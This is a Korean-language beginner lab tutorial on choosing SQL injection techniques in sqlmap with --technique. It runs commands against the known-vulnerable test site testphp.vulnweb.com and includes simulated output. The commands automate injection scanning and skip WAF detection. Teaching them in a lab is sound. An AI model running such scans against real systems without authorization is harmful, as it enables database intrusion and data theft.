sqlmap 에서 Injection 기법 지정하기

Kali LinuxBeginner
지금 연습하기

소개

SQL injection 은 애플리케이션이 데이터베이스에 수행하는 쿼리에 공격자가 간섭할 수 있도록 하는 웹 보안 취약점입니다. 일반적으로 공격자는 정상적으로 검색할 수 없는 데이터를 볼 수 있습니다. 여기에는 다른 사용자의 데이터 또는 애플리케이션 자체에서 액세스할 수 있는 기타 데이터가 포함될 수 있습니다. 많은 경우 공격자는 이 데이터를 수정하거나 삭제하여 애플리케이션의 콘텐츠 또는 동작에 영구적인 변경을 가할 수 있습니다.

sqlmap은 SQL injection 취약점을 탐지하고 악용하며 데이터베이스 서버를 장악하는 프로세스를 자동화하는 오픈 소스 침투 테스트 도구입니다. 강력한 탐지 엔진, 궁극적인 침투 테스터를 위한 많은 틈새 기능, 데이터베이스 지문 인식부터 데이터베이스에서 데이터를 가져오고, 기본 파일 시스템에 액세스하고, out-of-band 연결을 통해 운영 체제에서 명령을 실행하는 것에 이르기까지 광범위한 스위치를 제공합니다.

이 랩에서는 --technique 옵션을 사용하여 sqlmap에서 다양한 SQL injection 기법을 지정하는 방법을 배웁니다. 이를 통해 sqlmap이 injection 에 사용하려는 방법을 제어할 수 있으며, 이는 특정 취약점을 타겟팅하거나 스캔 시간을 최적화하는 데 유용할 수 있습니다.

여섯 가지 SQLi 기법 코드 이해하기 (B, E, U, S, T, Q)

이 단계에서는 sqlmap이 사용하는 다양한 SQL injection 기법 코드에 대해 배웁니다. sqlmap은 다양한 SQL injection 기법을 지원하며, --technique 옵션을 사용하여 사용할 기법을 지정할 수 있습니다. 각 기법은 단일 문자로 표현됩니다.

여섯 가지 주요 SQL injection 기법 코드는 다음과 같습니다.

  • B: Boolean-based blind SQL injection (불리언 기반 블라인드 SQL injection). 이 기법은 TRUE 또는 FALSE 결과를 반환하는 SQL 쿼리를 보내고, 애플리케이션의 응답 (예: 페이지 콘텐츠 변경) 을 관찰하여 정보를 추론하는 데 의존합니다.
  • E: Error-based SQL injection (에러 기반 SQL injection). 이 기법은 데이터베이스 구조 또는 데이터에 대한 정보를 포함하는 오류 메시지를 생성하도록 데이터베이스를 강제합니다.
  • U: UNION query-based SQL injection (UNION 쿼리 기반 SQL injection). 이 기법은 UNION SQL 연산자를 사용하여 두 개 이상의 SELECT 문의 결과를 단일 결과 집합으로 결합하여 공격자가 다른 테이블의 데이터를 검색할 수 있도록 합니다.
  • S: Stacked queries SQL injection (스택 쿼리 SQL injection). 이 기법은 공격자가 단일 쿼리에서 여러 SQL 문을 실행할 수 있도록 하며, 종종 데이터베이스 서버에서 임의의 명령을 실행하는 데 사용됩니다.
  • T: Time-based blind SQL injection (시간 기반 블라인드 SQL injection). 이 기법은 TRUE 또는 FALSE 조건에 따라 데이터베이스가 지정된 시간 동안 일시 중지되도록 하여, 공격자가 응답 시간을 관찰하여 정보를 추론할 수 있도록 합니다.
  • Q: Inline queries SQL injection (인라인 쿼리 SQL injection). 이 기법은 원래 쿼리에 하위 쿼리를 직접 삽입하는 것을 포함합니다.

이러한 기법을 이해하는 것은 sqlmap을 효과적으로 사용하고 SQL injection 의 기본 원리를 이해하는 데 매우 중요합니다.

--technique=B로 Boolean 기반 블라인드 테스트 강제하기

이 단계에서는 sqlmap이 Boolean 기반 블라인드 SQL injection 기법만 사용하도록 강제하는 방법을 배웁니다. 이는 대상이 이 특정 유형의 injection 에 취약하다고 의심될 때 또는 단일 기법에 집중하여 스캔 시간을 줄이고 싶을 때 유용할 수 있습니다.

--technique=B 옵션은 sqlmap에 Boolean 기반 블라인드 injection 만 사용하도록 지시합니다.

이 옵션을 사용하여 sqlmap을 실행하는 것을 시뮬레이션해 보겠습니다. 실제 시나리오에서는 http://testphp.vulnweb.com/artists.php?id=1을 대상 URL 로 바꾸어야 합니다. 이 랩에서는 명령을 시연하기만 할 것입니다.

터미널을 열고 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=B --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": 대상 URL 을 지정합니다. 이것은 알려진 취약한 테스트 사이트입니다.
  • --technique=B: sqlmap이 Boolean 기반 블라인드 injection 만 사용하도록 강제합니다.
  • --batch: 기본 선택 사항을 수락하여 비대화형 모드에서 sqlmap을 실행합니다.
  • --eta: 각 출력에 대한 예상 도착 시간 (ETA) 을 표시합니다.
  • --skip-waf: 웹 애플리케이션 방화벽 (WAF) 탐지를 건너뜁니다.

sqlmap의 출력을 관찰하면 주로 Boolean 기반 블라인드 취약점을 테스트하고 있음을 나타냅니다. 출력에는 sqlmap이 다른 페이로드를 시도하고 응답을 분석하는 것이 표시됩니다.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
...

출력은 sqlmap이 Boolean 기반 블라인드 기법에 집중하고 있음을 확인합니다.

--technique=T로 시간 기반 블라인드 테스트 강제하기

이 단계에서는 sqlmap이 시간 기반 블라인드 SQL injection 기법만 사용하도록 강제하는 방법을 배웁니다. 이 기법은 에러 기반 또는 불리언 기반과 같은 다른 방법이 결과를 내지 못할 때, 특히 애플리케이션의 응답이 injection 과 관계없이 일관적인 시나리오에서 자주 사용됩니다.

--technique=T 옵션은 sqlmap에 시간 기반 블라인드 injection 만 사용하도록 지시합니다.

터미널을 열고 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=T --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": 대상 URL 을 지정합니다.
  • --technique=T: sqlmap이 시간 기반 블라인드 injection 만 사용하도록 강제합니다.
  • --batch: 비대화형 모드에서 sqlmap을 실행합니다.
  • --eta: 예상 도착 시간 (ETA) 을 표시합니다.
  • --skip-waf: WAF 탐지를 건너뜁니다.

sqlmap의 출력을 관찰하면 서버 응답에 지연을 유발하는 페이로드를 주입하는 것을 볼 수 있습니다. 이 방법은 시간 지연을 기다려야 하므로 다른 방법보다 느릴 수 있습니다.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Time-based blind - Parameter: id'
...

출력은 sqlmap이 이제 시간 기반 블라인드 기법에 집중하고 있음을 확인합니다.

--technique=U로 UNION 쿼리 기반 테스트 강제하기

이 단계에서는 sqlmap이 UNION 쿼리 기반 SQL injection 기법만 사용하도록 강제하는 방법을 배웁니다. 이 기법은 애플리케이션이 SQL 쿼리 결과를 페이지에 직접 표시할 때 매우 효과적이며, 공격자가 데이터베이스의 다른 테이블에서 데이터를 검색할 수 있도록 합니다.

--technique=U 옵션은 sqlmap에 UNION 쿼리 기반 injection 만 사용하도록 지시합니다.

터미널을 열고 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=U --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": 대상 URL 을 지정합니다.
  • --technique=U: sqlmap이 UNION 쿼리 기반 injection 만 사용하도록 강제합니다.
  • --batch: 비대화형 모드에서 sqlmap을 실행합니다.
  • --eta: 예상 도착 시간 (ETA) 을 표시합니다.
  • --skip-waf: WAF 탐지를 건너뜁니다.

sqlmap의 출력을 관찰하면 UNION SELECT 문을 주입하려고 시도하는 것을 볼 수 있습니다. 성공하면 이 기법은 데이터베이스 구조와 데이터를 빠르게 드러낼 수 있습니다.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'UNION query - Parameter: id'
...

출력은 sqlmap이 이제 UNION 쿼리 기반 기법에 집중하고 있음을 확인합니다.

--technique=BEUST로 여러 기법을 사용한 스캔 실행하기

이 단계에서는 단일 sqlmap 스캔에서 여러 SQL injection 기법을 결합하는 방법을 배웁니다. 이는 sqlmap이 다양한 방법을 시도하여 취약점을 찾도록 하여 성공 가능성을 높이기 때문에 가장 실용적인 접근 방식입니다.

--technique= 뒤에 해당 코드를 연결하여 여러 기법을 지정할 수 있습니다. 예를 들어, --technique=BEUSTsqlmap에 불리언 기반, 에러 기반, UNION 쿼리 기반, 스택드 쿼리 및 시간 기반 블라인드 injection 을 시도하도록 지시합니다.

터미널을 열고 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=BEUST --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": 대상 URL 을 지정합니다.
  • --technique=BEUST: sqlmap이 불리언 기반, 에러 기반, UNION 쿼리 기반, 스택드 쿼리 및 시간 기반 블라인드 injection 을 사용하도록 강제합니다.
  • --batch: 비대화형 모드에서 sqlmap을 실행합니다.
  • --eta: 예상 도착 시간 (ETA) 을 표시합니다.
  • --skip-waf: WAF 탐지를 건너뜁니다.

sqlmap의 출력을 관찰하면 지정된 각 기법을 체계적으로 테스트하는 것을 볼 수 있습니다. 이 포괄적인 접근 방식은 일반적으로 초기 스캔에 권장됩니다.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
[12:00:02] [INFO] testing 'Error-based - Parameter: id'
[12:00:03] [INFO] testing 'UNION query - Parameter: id'
[12:00:04] [INFO] testing 'Stacked queries - Parameter: id'
[12:00:05] [INFO] testing 'Time-based blind - Parameter: id'
...

출력은 sqlmap이 이제 지정된 대로 여러 기법을 테스트하고 있음을 확인합니다.

요약

이 실습에서는 sqlmap에서 사용하는 SQL injection 기법을 지정하고 제어하는 방법을 성공적으로 학습했습니다. 개별 기법 코드 (B, E, U, S, T, Q) 를 살펴보고 불리언 기반 블라인드, 시간 기반 블라인드 및 UNION 쿼리 기반 injection 과 같은 특정 방법을 sqlmap에 강제하는 연습을 했습니다. 마지막으로 더 포괄적인 스캔을 위해 여러 기법을 결합하는 방법을 배웠습니다.

sqlmap에서 --technique 옵션을 이해하고 활용하면 취약점 평가를 세밀하게 조정하고, 스캔 시간을 최적화하며, 특정 유형의 SQL injection 취약점을 보다 효과적으로 타겟팅할 수 있습니다. 이 기술은 효율적이고 정확한 침투 테스트에 매우 중요합니다.